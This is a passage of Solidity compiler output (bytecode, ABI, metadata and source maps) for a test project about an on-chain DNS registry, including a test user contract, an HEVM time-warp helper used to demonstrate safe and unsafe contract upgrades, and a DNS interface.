6565b600060405180830381600087803b15801561025f57600080fd5b505af1158015610273573d6000803e3d6000fd5b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1663f7a4669684846040518363ffffffff1660e01b81526004016102b4929190610873565b600060405180830381600087803b1580156102ce57600080fd5b505af11580156102e2573d6000803e3d6000fd5b50505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663894049788383306040518463ffffffff1660e01b8152600401610348939291906108a3565b600060405180830381600087803b15801561036257600080fd5b505af1158015610376573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60006040518263ffffffff1660e01b81526004016103d89190610806565b600060405180830381600087803b1580156103f257600080fd5b505af1158015610406573d6000803e3d6000fd5b50505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f7a4669683836040518363ffffffff1660e01b8152600401610467929190610873565b600060405180830381600087803b15801561048157600080fd5b505af1158015610495573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e83836040518363ffffffff1660e01b81526004016104f8929190610843565b600060405180830381600087803b15801561051257600080fd5b505af1158015610526573d6000803e3d6000fd5b505050505050565b60008135905061053d81610a5c565b92915050565b60008151905061055281610a5c565b92915050565b60008135905061056781610a73565b92915050565b60008151905061057c81610a73565b92915050565b60008135905061059181610a8a565b92915050565b600082601f8301126105a857600080fd5b81356105bb6105b682610912565b6108e1565b915080825260208301602083018583830111156105d757600080fd5b6105e28382846109f3565b50505092915050565b600080604083850312156105fe57600080fd5b600061060c8582860161056d565b925050602061061d85828601610543565b9150509250929050565b60006020828403121561063957600080fd5b600082013567ffffffffffffffff81111561065357600080fd5b61065f84828501610597565b91505092915050565b6000806040838503121561067b57600080fd5b600083013567ffffffffffffffff81111561069557600080fd5b6106a185828601610597565b92505060206106b28582860161052e565b9150509250929050565b600080604083850312156106cf57600080fd5b600083013567ffffffffffffffff8111156106e957600080fd5b6106f585828601610597565b925050602061070685828601610558565b9150509250929050565b60008060006060848603121561072557600080fd5b600084013567ffffffffffffffff81111561073f57600080fd5b61074b86828701610597565b935050602061075c86828701610558565b925050604061076d86828701610582565b9150509250925092565b6107808161095e565b82525050565b61078f81610970565b82525050565b61079e816109e1565b82525050565b60006107af82610942565b6107b9818561094d565b93506107c9818560208601610a02565b6107d281610a37565b840191505092915050565b60006040820190506107f26000830185610786565b6107ff6020830184610777565b9392505050565b600060208201905061081b6000830184610795565b92915050565b6000602082019050818103600083015261083b81846107a4565b905092915050565b6000604082019050818103600083015261085d81856107a4565b905061086c6020830184610777565b9392505050565b6000604082019050818103600083015261088d81856107a4565b905061089c6020830184610786565b9392505050565b600060608201905081810360008301526108bd81866107a4565b90506108cc6020830185610786565b6108d96040830184610777565b949350505050565b6000604051905081810181811067ffffffffffffffff8211171561090857610907610a35565b5b8060405250919050565b600067ffffffffffffffff82111561092d5761092c610a35565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000610969826109c1565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006109a78261095e565b9050919050565b60008190506109bc82610a48565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006109ec826109ae565b9050919050565b82818337600083830152505050565b60005b83811015610a20578082015181840152602081019050610a05565b83811115610a2f576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b60028110610a5957610a58610a35565b5b50565b610a658161095e565b8114610a7057600080fd5b50565b610a7c81610970565b8114610a8757600080fd5b50565b610a938161099c565b8114610a9e57600080fd5b5056fea264697066735822122004a334eb3716dfafcf036f3ecf492375e65e1813188daf1697f185fb67b35bde64736f6c63430007040033","metadata":"{\"compiler\":{\"version\":\"0.7.4+commit.3f05b770\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"contract IDNS\",\"name\":\"_dns\",\"type\":\"address\"},{\"internalType\":\"contract Upgrade\",\"name\":\"_upgrade\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"optIn\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"optOut\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"contract IDNS\",\"name\":\"_dns\",\"type\":\"address\"}],\"name\":\"updateViaCustomDNS\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/DNSTest.t.sol\":\"User\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":/=/\",\":ds-test/=lib/ds-test/src/\",\":ds-test=lib/ds-test/src/index.sol\"]},\"sources\":{\"lib/ds-test/src/test.sol\":{\"keccak256\":\"0x0585b4faea84c48433a20491b7285f004b11902132543f2ad286407cb08b0535\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://411e78f8169949a26f2483234d1bbb0fc9fbf1980a3e7d18f5890fbef9b2b737\",\"dweb:/ipfs/Qmcsk29nfkd3c251qD9j2gBYzCbHpNpYvq8tXErtroG8FA\"]},\"src/DNS.sol\":{\"keccak256\":\"0x6cd821bd39563f4bc03dd3f112a4e6d843a39f07ae63c221fed932653f9d0759\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://cb1b834d2b517786c9f5d706e816d09a10cdcfc7566b58495873ca36ce5fb384\",\"dweb:/ipfs/QmcrwwNaev8NBDYdsZ6GPbG6zAFNoSzCVqpSu4QTB5DtCB\"]},\"src/DNSTest.t.sol\":{\"keccak256\":\"0x8490569ad48cc031c96d8ed0c82fc2792bba68de00ea731ff88e36b05ba886a4\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://b6bfa9484442963fab14d1fdf80b00938206f33bdb113656bb8c171a20f5dead\",\"dweb:/ipfs/QmVxmoJDftunt8SAxpTNfq2cfX7yRcp6ALnD1fRjsuWMo3\"]},\"src/HEVMCheat.sol\":{\"keccak256\":\"0xbb563bd7039f446d7a4b0407764d3b9de8ae46e317e8b61cb36ceab6ad1078fb\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://a7cee341638027f254f60ad2b586cfe390655b793ccce70ce4c8063ecf4e2890\",\"dweb:/ipfs/QmRGS8HiCdsx1RPTneFA5PNmEJiWBHBXeMe2rscjG9RFYd\"]},\"src/IDNS.sol\":{\"keccak256\":\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\",\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\"]},\"src/MalDNS.sol\":{\"keccak256\":\"0x3bea24f6589ebb2120be090924605d1512e2ea57e0de781ecadf2f2f3ed4eedf\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://74c5c49a3125c31fc621ae85a4a4848ae945740b22cf9f7d7d9750c3b9ef5031\",\"dweb:/ipfs/QmZydphzztNXCwiCgtffTeyjumkERWpSjuSTchFZbEn6Mv\"]},\"src/Upgrade.sol\":{\"keccak256\":\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\",\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\"]},\"src/UpgradedDNS.sol\":{\"keccak256\":\"0x9bab7b3cf0953af729edfbf418aeeefc0428235ba94c0c3cd68ea0740f1200dc\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://df8d1be1d8fd3d4ab81593055e75ccbe57406c8574e8351983cfe55f20bf9fed\",\"dweb:/ipfs/QmTYsSXKfFNb68FbRJmgp6Sgcsn8BQuGQCKs6LJs2c1Swd\"]}},\"version\":1}","srcmap":"245:832:2:-:0;;;312:81;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;363:4;357:10;;;;;;;;;;;;381:8;371:18;;;;;;;;;;;;312:81;;245:832;;7:169:8;;108:6;102:13;93:22;;124:46;164:5;124:46;:::i;:::-;83:93;;;;:::o;182:175::-;;286:6;280:13;271:22;;302:49;345:5;302:49;:::i;:::-;261:96;;;;:::o;363:494::-;;;528:2;516:9;507:7;503:23;499:32;496:2;;;544:1;541;534:12;496:2;586:1;610:77;679:7;670:6;659:9;655:22;610:77;:::i;:::-;600:87;;558:139;735:2;760:80;832:7;823:6;812:9;808:22;760:80;:::i;:::-;750:90;;707:143;486:371;;;;;:::o;863:96::-;;929:24;947:5;929:24;:::i;:::-;918:35;;908:51;;;:::o;965:109::-;;1044:24;1062:5;1044:24;:::i;:::-;1033:35;;1023:51;;;:::o;1080:112::-;;1162:24;1180:5;1162:24;:::i;:::-;1151:35;;1141:51;;;:::o;1198:126::-;;1275:42;1268:5;1264:54;1253:65;;1243:81;;;:::o;1330:148::-;1416:37;1447:5;1416:37;:::i;:::-;1409:5;1406:48;1396:2;;1468:1;1465;1458:12;1396:2;1386:92;:::o;1484:154::-;1573:40;1607:5;1573:40;:::i;:::-;1566:5;1563:51;1553:2;;1628:1;1625;1618:12;1553:2;1543:95;:::o;245:832:2:-;;;;;;;;;;;;;;;;;","srcmap-runtime":"245:832:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;830:115;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;948:61;;;:::i;:::-;;605:116;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;396:111;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1012:63;;;:::i;:::-;;510:92;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;724:103;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;830:115;893:6;901:7;921:3;:11;;;933:7;921:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;914:27;;;;830:115;;;:::o;948:61::-;978:7;:11;;;990:14;978:27;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;948:61::o;605:116::-;692:4;:11;;;704:7;713:3;692:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;605:116;;;:::o;396:111::-;462:3;:12;;;475:7;484:3;497:4;462:41;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;396:111;;:::o;1012:63::-;1043:7;:11;;;1055:15;1043:28;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1012:63::o;510:92::-;574:3;:10;;;585:7;594:3;574:24;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;510:92;;:::o;724:103::-;794:3;:12;;;807:7;816:6;794:29;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;724:103;;:::o;7:139:8:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:143::-;;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;215:80;;;;:::o;301:137::-;;384:6;371:20;362:29;;400:32;426:5;400:32;:::i;:::-;352:86;;;;:::o;444:141::-;;531:6;525:13;516:22;;547:32;573:5;547:32;:::i;:::-;506:79;;;;:::o;591:165::-;;688:6;675:20;666:29;;704:46;744:5;704:46;:::i;:::-;656:100;;;;:::o;762:466::-;;867:3;860:4;852:6;848:17;844:27;834:2;;885:1;882;875:12;834:2;925:6;912:20;950:65;965:49;1007:6;965:49;:::i;:::-;950:65;:::i;:::-;941:74;;1038:6;1031:5;1024:21;1077:4;1069:6;1065:17;1113:4;1106:5;1102:16;1151:3;1142:6;1137:3;1133:16;1130:25;1127:2;;;1168:1;1165;1158:12;1127:2;1181:41;1215:6;1210:3;1205;1181:41;:::i;:::-;824:404;;;;;;;:::o;1234:434::-;;;1369:2;1357:9;1348:7;1344:23;1340:32;1337:2;;;1385:1;1382;1375:12;1337:2;1427:1;1451:63;1506:7;1497:6;1486:9;1482:22;1451:63;:::i;:::-;1441:73;;1399:125;1562:2;1587:64;1643:7;1634:6;1623:9;1619:22;1587:64;:::i;:::-;1577:74;;1534:127;1327:341;;;;;:::o;1674:373::-;;1792:2;1780:9;1771:7;1767:23;1763:32;1760:2;;;1808:1;1805;1798:12;1760:2;1878:1;1867:9;1863:17;1850:31;1908:18;1900:6;1897:30;1894:2;;;1940:1;1937;1930:12;1894:2;1967:63;2022:7;2013:6;2002:9;1998:22;1967:63;:::i;:::-;1957:73;;1822:218;1750:297;;;;:::o;2053:516::-;;;2188:2;2176:9;2167:7;2163:23;2159:32;2156:2;;;2204:1;2201;2194:12;2156:2;2274:1;2263:9;2259:17;2246:31;2304:18;2296:6;2293:30;2290:2;;;2336:1;2333;2326:12;2290:2;2363:63;2418:7;2409:6;2398:9;2394:22;2363:63;:::i;:::-;2353:73;;2218:218;2474:2;2499:53;2544:7;2535:6;2524:9;2520:22;2499:53;:::i;:::-;2489:63;;2446:116;2146:423;;;;;:::o;2575:514::-;;;2709:2;2697:9;2688:7;2684:23;2680:32;2677:2;;;2725:1;2722;2715:12;2677:2;2795:1;2784:9;2780:17;2767:31;2825:18;2817:6;2814:30;2811:2;;;2857:1;2854;2847:12;2811:2;2884:63;2939:7;2930:6;2919:9;2915:22;2884:63;:::i;:::-;2874:73;;2739:218;2995:2;3020:52;3064:7;3055:6;3044:9;3040:22;3020:52;:::i;:::-;3010:62;;2967:115;2667:422;;;;;:::o;3095:683::-;;;;3259:2;3247:9;3238:7;3234:23;3230:32;3227:2;;;3275:1;3272;3265:12;3227:2;3345:1;3334:9;3330:17;3317:31;3375:18;3367:6;3364:30;3361:2;;;3407:1;3404;3397:12;3361:2;3434:63;3489:7;3480:6;3469:9;3465:22;3434:63;:::i;:::-;3424:73;;3289:218;3545:2;3570:52;3614:7;3605:6;3594:9;3590:22;3570:52;:::i;:::-;3560:62;;3517:115;3670:2;3695:66;3753:7;3744:6;3733:9;3729:22;3695:66;:::i;:::-;3685:76;;3642:129;3217:561;;;;;:::o;3784:118::-;3871:24;3889:5;3871:24;:::i;:::-;3866:3;3859:37;3849:53;;:::o;3908:115::-;3993:23;4010:5;3993:23;:::i;:::-;3988:3;3981:36;3971:52;;:::o;4029:143::-;4122:43;4159:5;4122:43;:::i;:::-;4117:3;4110:56;4100:72;;:::o;4178:364::-;;4294:39;4327:5;4294:39;:::i;:::-;4349:71;4413:6;4408:3;4349:71;:::i;:::-;4342:78;;4429:52;4474:6;4469:3;4462:4;4455:5;4451:16;4429:52;:::i;:::-;4506:29;4528:6;4506:29;:::i;:::-;4501:3;4497:39;4490:46;;4270:272;;;;;:::o;4548:328::-;;4705:2;4694:9;4690:18;4682:26;;4718:69;4784:1;4773:9;4769:17;4760:6;4718:69;:::i;:::-;4797:72;4865:2;4854:9;4850:18;4841:6;4797:72;:::i;:::-;4672:204;;;;;:::o;4882:234::-;;5019:2;5008:9;5004:18;4996:26;;5032:77;5106:1;5095:9;5091:17;5082:6;5032:77;:::i;:::-;4986:130;;;;:::o;5122:313::-;;5273:2;5262:9;5258:18;5250:26;;5322:9;5316:4;5312:20;5308:1;5297:9;5293:17;5286:47;5350:78;5423:4;5414:6;5350:78;:::i;:::-;5342:86;;5240:195;;;;:::o;5441:423::-;;5620:2;5609:9;5605:18;5597:26;;5669:9;5663:4;5659:20;5655:1;5644:9;5640:17;5633:47;5697:78;5770:4;5761:6;5697:78;:::i;:::-;5689:86;;5785:72;5853:2;5842:9;5838:18;5829:6;5785:72;:::i;:::-;5587:277;;;;;:::o;5870:419::-;;6047:2;6036:9;6032:18;6024:26;;6096:9;6090:4;6086:20;6082:1;6071:9;6067:17;6060:47;6124:78;6197:4;6188:6;6124:78;:::i;:::-;6116:86;;6212:70;6278:2;6267:9;6263:18;6254:6;6212:70;:::i;:::-;6014:275;;;;;:::o;6295:529::-;;6500:2;6489:9;6485:18;6477:26;;6549:9;6543:4;6539:20;6535:1;6524:9;6520:17;6513:47;6577:78;6650:4;6641:6;6577:78;:::i;:::-;6569:86;;6665:70;6731:2;6720:9;6716:18;6707:6;6665:70;:::i;:::-;6745:72;6813:2;6802:9;6798:18;6789:6;6745:72;:::i;:::-;6467:357;;;;;;:::o;6830:278::-;;6896:2;6890:9;6880:19;;6938:4;6930:6;6926:17;7045:6;7033:10;7030:22;7009:18;6997:10;6994:34;6991:62;6988:2;;;7056:13;;:::i;:::-;6988:2;7091:10;7087:2;7080:22;6870:238;;;;:::o;7114:327::-;;7266:18;7258:6;7255:30;7252:2;;;7288:13;;:::i;:::-;7252:2;7368:4;7364:9;7357:4;7349:6;7345:17;7341:33;7333:41;;7429:4;7423;7419:15;7411:23;;7181:260;;;:::o;7447:99::-;;7533:5;7527:12;7517:22;;7506:40;;;:::o;7552:169::-;;7670:6;7665:3;7658:19;7710:4;7705:3;7701:14;7686:29;;7648:73;;;;:::o;7727:96::-;;7793:24;7811:5;7793:24;:::i;:::-;7782:35;;7772:51;;;:::o;7829:149::-;;7905:66;7898:5;7894:78;7883:89;;7873:105;;;:::o;7984:109::-;;8063:24;8081:5;8063:24;:::i;:::-;8052:35;;8042:51;;;:::o;8099:127::-;;8173:5;8162:16;;8179:41;8214:5;8179:41;:::i;:::-;8152:74;;;:::o;8232:126::-;;8309:42;8302:5;8298:54;8287:65;;8277:81;;;:::o;8364:127::-;;8453:32;8479:5;8453:32;:::i;:::-;8440:45;;8430:61;;;:::o;8497:154::-;8581:6;8576:3;8571;8558:30;8643:1;8634:6;8629:3;8625:16;8618:27;8548:103;;;:::o;8657:307::-;8725:1;8735:113;8749:6;8746:1;8743:13;8735:113;;;8834:1;8829:3;8825:11;8819:18;8815:1;8810:3;8806:11;8799:39;8771:2;8768:1;8764:10;8759:15;;8735:113;;;8866:6;8863:1;8860:13;8857:2;;;8946:1;8937:6;8932:3;8928:16;8921:27;8857:2;8706:258;;;;:::o;8970:48::-;9003:9;9024:102;;9116:2;9112:7;9107:2;9100:5;9096:14;9092:28;9082:38;;9072:54;;;:::o;9132:108::-;9213:1;9206:5;9203:12;9193:2;;9219:13;;:::i;:::-;9193:2;9183:57;:::o;9246:122::-;9319:24;9337:5;9319:24;:::i;:::-;9312:5;9309:35;9299:2;;9358:1;9355;9348:12;9299:2;9289:79;:::o;9374:120::-;9446:23;9463:5;9446:23;:::i;:::-;9439:5;9436:34;9426:2;;9484:1;9481;9474:12;9426:2;9416:78;:::o;9500:148::-;9586:37;9617:5;9586:37;:::i;:::-;9579:5;9576:48;9566:2;;9638:1;9635;9628:12;9566:2;9556:92;:::o","storage-layout":"{\"storage\":[],\"types\":null}"},"src/HEVMCheat.sol:HEVMCheat":{"abi":"[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"roll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"warp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]","bin":"608060405234801561001057600080fd5b5061039b806100206000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80631f7b4f301461003b578063e5d6bf0214610069575b600080fd5b6100676004803603602081101561005157600080fd5b8101908080359060200190929190505050610097565b005b6100956004803603602081101561007f57600080fd5b81019080803590602001909291905050506101fe565b005b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527f1f7b4f30000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106101855780518252602082019150602081019050602083039250610162565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146101e7576040519150601f19603f3d011682016040523d82523d6000602084013e6101ec565b606091505b50509050806101fa57600080fd5b5050565b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527fe5d6bf02000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106102ec57805182526020820191506020810190506020830392506102c9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461034e576040519150601f19603f3d011682016040523d82523d6000602084013e610353565b606091505b505090508061036157600080fd5b505056fea26469706673582212201f9485aa1245955781b7529e6c0bbe4d31cf250e99bc122a5313fe60e971609464736f6c63430007040033","bin-runtime":"608060405234801561001057600080fd5b50600436106100365760003560e01c80631f7b4f301461003b578063e5d6bf0214610069575b600080fd5b6100676004803603602081101561005157600080fd5b8101908080359060200190929190505050610097565b005b6100956004803603602081101561007f57600080fd5b81019080803590602001909291905050506101fe565b005b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527f1f7b4f30000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106101855780518252602082019150602081019050602083039250610162565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146101e7576040519150601f19603f3d011682016040523d82523d6000602084013e6101ec565b606091505b50509050806101fa57600080fd5b5050565b6000737109709ecfa91a80626ff3989d68f67f5b1dd12d73ffffffffffffffffffffffffffffffffffffffff1682604051602401808281526020019150506040516020818303038152906040527fe5d6bf02000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106102ec57805182526020820191506020810190506020830392506102c9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461034e576040519150601f19603f3d011682016040523d82523d6000602084013e610353565b606091505b505090508061036157600080fd5b505056fea26469706673582212201f9485aa1245955781b7529e6c0bbe4d31cf250e99bc122a5313fe60e971609464736f6c63430007040033","metadata":"{\"compiler\":{\"version\":\"0.7.4+commit.3f05b770\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"roll\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"x\",\"type\":\"uint256\"}],\"name\":\"warp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"notice\":\"HEVM has a special contract able to change the block timestamp. This is used in the tests, to show safe and unsafe upgrades.\",\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/HEVMCheat.sol\":\"HEVMCheat\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":/=/\",\":ds-test/=lib/ds-test/src/\",\":ds-test=lib/ds-test/src/index.sol\"]},\"sources\":{\"src/HEVMCheat.sol\":{\"keccak256\":\"0xbb563bd7039f446d7a4b0407764d3b9de8ae46e317e8b61cb36ceab6ad1078fb\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://a7cee341638027f254f60ad2b586cfe390655b793ccce70ce4c8063ecf4e2890\",\"dweb:/ipfs/QmRGS8HiCdsx1RPTneFA5PNmEJiWBHBXeMe2rscjG9RFYd\"]}},\"version\":1}","srcmap":"194:388:3:-:0;;;;;;;;;;;;;;;;;;;","srcmap-runtime":"194:388:3:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;437:143;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;291;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;437;471:12;245:42;488:23;;553:1;512:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;488:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;470:86;;;568:7;560:16;;;;;;437:143;;:::o;291:::-;325:12;245:42;342:23;;407:1;366:43;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;342:68;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;324:86;;;422:7;414:16;;;;;;291:143;;:::o","storage-layout":"{\"storage\":[],\"types\":null}"},"src/IDNS.sol:IDNS":{"abi":"[{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"transfer\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"}],\"name\":\"update\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]","bin":"","bin-runtime":"","metadata":"{\"compiler\":{\"version\":\"0.7.4+commit.3f05b770\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"},{\"internalType\":\"bytes4\",\"name\":\"_ip\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"_owner\",\"type\":\"address\"}],\"name\":\"register\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\"}],\"name\":\"resolve\",\"outputs\":[{\"internalType\":\"bytes4\",\"name\":\"\",\"type\":\"bytes4\"},{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_domain\",\"type\":\"string\